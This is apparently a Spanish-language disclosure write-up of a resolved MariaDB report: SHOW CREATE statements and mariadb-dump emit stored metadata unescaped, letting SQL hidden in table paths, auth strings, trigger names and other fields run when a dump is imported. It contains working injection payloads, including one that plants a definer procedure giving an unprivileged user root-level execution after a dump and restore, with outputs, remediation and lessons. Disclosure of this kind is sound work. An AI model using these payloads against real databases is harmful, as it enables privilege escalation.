Resumen
MariaDB guarda como metadatos muchos valores que el usuario elige al crear objetos: rutas de DATA DIRECTORY e INDEX DIRECTORY, opciones de tabla desconocidas, cadenas de autenticación, sujetos de certificados SSL, nombres de wrappers de servidores remotos, nombres de triggers, etc. Cuando el servidor tiene que devolver la sentencia que recrea ese objeto (SHOW CREATE TABLE, SHOW CREATE USER, SHOW GRANTS, SHOW CREATE SERVER), monta el SQL con esos valores sin escaparlos como corresponde.
El investigador vortfu lo notificó al programa de MariaDB y señaló que, más que un fallo del servidor por sí solo, es una superficie de ataque: mariadb-dump se apoya en esas mismas salidas (y en algunos casos genera SQL por su cuenta, también sin escapar). Si un administrador o un script de migración vuelca una base de datos controlada por un atacante y la importa en otro sitio, el SQL inyectado se ejecuta con los privilegios de quien hace la importación; en la prueba del investigador, root.
El reporte figura como resuelto. No constan recompensa, CVE ni detalles del parche.
Pasos de reproducción
El caso principal necesita solo que el atacante pueda crear tablas en una base de datos que luego otra persona con más privilegios exporte e importe.
- Como usuario sin privilegios (
'attacker'@'localhost'), crear una tabla cuyoDATA DIRECTORYcierra la comilla y añade sentencias propias. En este ejemplo se crea un procedimientoSQL SECURITY DEFINERque ejecuta cualquier texto recibido y se concede su uso al atacante:
CREATE TABLE poc (
id INT
)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped/'';CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;GRANT EXECUTE ON PROCEDURE vf_exec TO ''attacker''@''localhost''; -- ';
- Comprobar con
SHOW CREATE TABLE poc;(o conmariadb-dump) que la ruta se devuelve sin escapar y el SQL inyectado queda como sentencias independientes:
CREATE TABLE `poc` (
`id` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci DATA DIRECTORY='/tmp/mdb-show-unescaped/';
CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;
GRANT EXECUTE ON PROCEDURE vf_exec TO 'attacker'@'localhost'; -- /';
- Un usuario privilegiado vuelca la base de datos y la restaura en otra:
mariadb-dump -uroot attacker_old > attacker.sql;
mariadb -uroot attacker_new < attacker.sql;
- Las sentencias inyectadas se ejecutan durante la importación con la cuenta que la hace. El atacante ya puede ejecutar SQL con esos privilegios en
attacker_new:
CALL vf_exec( 'SHOW GRANTS' );
GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` WITH GRANT OPTION
Otros puntos de inyección
El investigador aclara que la lista no es completa. En SHOW CREATE TABLE, además de DATA DIRECTORY, también se puede inyectar a través de INDEX DIRECTORY y de una opción de tabla desconocida (con sql_mode='IGNORE_BAD_TABLE_OPTIONS'), que se imprime dentro de un comentario /* ... */ que el atacante puede cerrar:
-- create some helper directories with InnoDB so we can use MyISAM for poc
CREATE TABLE make_data_dir (id INT)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped-data''; SELECT ''<INJECTION:DATA_DIRECTORY>''; /*';
CREATE TABLE make_index_dir (id INT)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped-index*/; SELECT ''<INJECTION:INDEX_DIRECTORY>''; -- ';
DROP TABLE make_data_dir, make_index_dir;
-- ignore the intentionally bad table option below
SET SESSION sql_mode='IGNORE_BAD_TABLE_OPTIONS';
CREATE TABLE poc (
id INT,
KEY(id)
)
ENGINE=MyISAM
DATA DIRECTORY='/tmp/mdb-show-unescaped-data''; SELECT ''<INJECTION:DATA_DIRECTORY>''; /*'
INDEX DIRECTORY='/tmp/mdb-show-unescaped-index*/; SELECT ''<INJECTION:INDEX_DIRECTORY>''; -- '
unknown_opt='*/; SELECT "<INJECTION:BAD_OPTION>"; ALTER TABLE poc /*';
SET SESSION sql_mode='';
SHOW CREATE TABLE poc;
Resultado:
CREATE TABLE `poc` (
`id` int(11) DEFAULT NULL,
KEY `id` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci /* `unknown_opt`='*/;
SELECT "<INJECTION:BAD_OPTION>";
ALTER TABLE poc /*' */ DATA DIRECTORY='/tmp/mdb-show-unescaped-data';
SELECT '<INJECTION:DATA_DIRECTORY>';
/*/' INDEX DIRECTORY='/tmp/mdb-show-unescaped-index*/;
SELECT '<INJECTION:INDEX_DIRECTORY>';
-- /'
Hay otros casos que ya exigen privilegios elevados para preparar la carga, pero que el investigador incluye porque muestran el mismo problema:
SHOW CREATE USERySHOW GRANTS: la cadena deIDENTIFIED VIA ... USING, elREQUIRE SUBJECTy el nombre de usuario en unGRANT PROXYse imprimen sin escapar:
CREATE USER 'poc'@'localhost'
IDENTIFIED VIA unix_socket
USING 'x''; SELECT ''<INJECTION:AUTH_STRING>''; /*'
REQUIRE SUBJECT '*/; SELECT ''<INJECTION:SSL_SUBJECT>''; -- ';
CREATE USER 'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost';
GRANT PROXY ON
'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost'
TO
'poc'@'localhost';
SHOW CREATE USER 'poc'@'localhost';
SHOW CREATE USER 'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost';
SHOW GRANTS FOR 'poc'@'localhost';
CREATE USER `poc`@`localhost`
IDENTIFIED VIA unix_socket
USING 'x';
SELECT '<INJECTION:AUTH_STRING>';
/*' REQUIRE SUBJECT '*/;
SELECT '<INJECTION:SSL_SUBJECT>';
CREATE USER `poc'@'localhost' TO 'poc'@'localhost'; SELECT '<INJECTION:PROXY>'; -- `@`localhost`;
GRANT USAGE ON *.* TO `poc`@`localhost`
IDENTIFIED VIA unix_socket
USING 'x';
SELECT '<INJECTION:AUTH_STRING>';
/*' REQUIRE SUBJECT '*/;
SELECT '<INJECTION:SSL_SUBJECT>';
GRANT PROXY ON 'poc'@'localhost' TO 'poc'@'localhost';
SELECT '<INJECTION:PROXY>';
SHOW CREATE SERVER: el nombre delFOREIGN DATA WRAPPER, aunque se escriba entre comillas invertidas, se devuelve sin ellas:
CREATE SERVER poc
FOREIGN DATA WRAPPER `mysql OPTIONS (HOST '127.0.0.1'); SELECT '<INJECTION:SERVER_WRAPPER>'; -- `
OPTIONS (
HOST '127.0.0.1',
DATABASE 'db',
USER 'u',
PASSWORD 'p',
PORT 3306
);
SHOW CREATE SERVER poc;
CREATE SERVER `poc` FOREIGN DATA WRAPPER mysql OPTIONS (HOST '127.0.0.1');
SELECT '<INJECTION:SERVER_WRAPPER>';
-- OPTIONS (HOST '127.0.0.1', DATABASE 'db', USER 'u', PASSWORD 'p', PORT '3306');
Inyecciones propias de mariadb-dump
Aparte de lo que hereda de SHOW, mariadb-dump construye algunas sentencias por su cuenta sin escapar:
--add-drop-trigger: un nombre de trigger malicioso solo provoca la inyección cuando la herramienta añade elDROP TRIGGER:
CREATE TABLE poc(i INT);
CREATE TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`
BEFORE INSERT ON poc
FOR EACH ROW
SET NEW.id = NEW.id;
SHOW CREATE TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`;
SHOW CREATE TRIGGER sí escapa bien el nombre:
CREATE DEFINER=`attacker`@`localhost` TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`
BEFORE INSERT ON poc
FOR EACH ROW
SET NEW.id = NEW.id
pero con --add-drop-trigger el volcado contiene:
/*!50032 DROP TRIGGER IF EXISTS poc*/;
SELECT '<INJECTION:DUMP_TRIGGER>';
/* */;
--system=udfs: la herramienta haceSELECT * FROM mysql.funcy reconstruye elCREATE FUNCTIONcon el nombre tal cual. El investigador lo considera un escenario aún más improbable y lo incluye por completitud:
INSERT INTO mysql.func(name, ret, dl, type)
VALUES(
'mysql.f() RETURNS INT RETURN 1;SELECT ''<INJECTION:UDF_NAME>'';#',
0,
'x.so',
'function'
);
CREATE FUNCTION mysql.f() RETURNS INT RETURN 1;
SELECT '<INJECTION:UDF_NAME>';
# RETURNS STRING SONAME 'x.so';
--dump-slave: elMASTER_HOSTconfigurado conCHANGE MASTER TOse vuelve a escribir sin escapar:
CHANGE MASTER TO
MASTER_HOST='h'', MASTER_PORT=3306, MASTER_LOG_FILE=''bin.000001'', MASTER_LOG_POS=4; SELECT ''<INJECTION:DUMP_SLAVE>''; -- ',
MASTER_PORT=3306,
MASTER_LOG_FILE='bin.000001',
MASTER_LOG_POS=4;
La herramienta lee los datos de la réplica con:
SELECT
Connection_name,
Master_Host,
Master_Port,
Relay_Master_Log_File,
Exec_Master_Log_Pos
FROM information_schema.SLAVE_STATUS;
y escribe en el volcado:
CHANGE MASTER '' TO MASTER_HOST='h', MASTER_PORT=3306, MASTER_LOG_FILE='bin.000001', MASTER_LOG_POS=4;
SELECT '<INJECTION:DUMP_SLAVE>';
-- ', MASTER_PORT=3306, MASTER_LOG_FILE='bin.000001', MASTER_LOG_POS=4;
Impacto
Un usuario que solo puede crear tablas en su propia base de datos deja SQL arbitrario escondido en los metadatos. Mientras nadie toque esa base de datos no pasa nada, pero si un administrador o un script de copias o migraciones la vuelca con mariadb-dump y la importa, el SQL inyectado se ejecuta con la cuenta que hace la importación. En la prueba principal eso basta para que el atacante consiga un procedimiento que ejecuta cualquier orden con los privilegios de root@localhost (ALL PRIVILEGES ON *.* ... WITH GRANT OPTION).
Remediación
El reporte figura como resuelto, pero no detalla el parche. La corrección que propone el investigador es que todo identificador, literal o comentario no confiable se escape correctamente cada vez que el servidor o mariadb-dump generan SQL dinámico.
Qué aprender de este caso
- Cualquier función del tipo "dame el SQL que recrea este objeto" es una forma de generar código: revisa en qué puntos concatena valores guardados (rutas, opciones, nombres, cadenas de autenticación) y si los escapa igual que lo haría el analizador al leerlos.
- Un valor que el usuario escribió entre comillas o comillas invertidas puede salir sin ellas. Para buscar este fallo, crea objetos con
', ``,*/y--en cada campo de texto y comprueba si elSHOW CREATE` o el volcado resultante se divide en varias sentencias. - Las herramientas de copia de seguridad que reconstruyen sentencias por su cuenta (como el
DROP TRIGGERo elCHANGE MASTERde este caso) necesitan su propia revisión, aunque el servidor ya escape bien su salida. - Al operar: no restaures con
rootvolcados de bases de datos que controla otra persona. Usa una cuenta con los permisos justos sobre la base de destino, o revisa antes el fichero.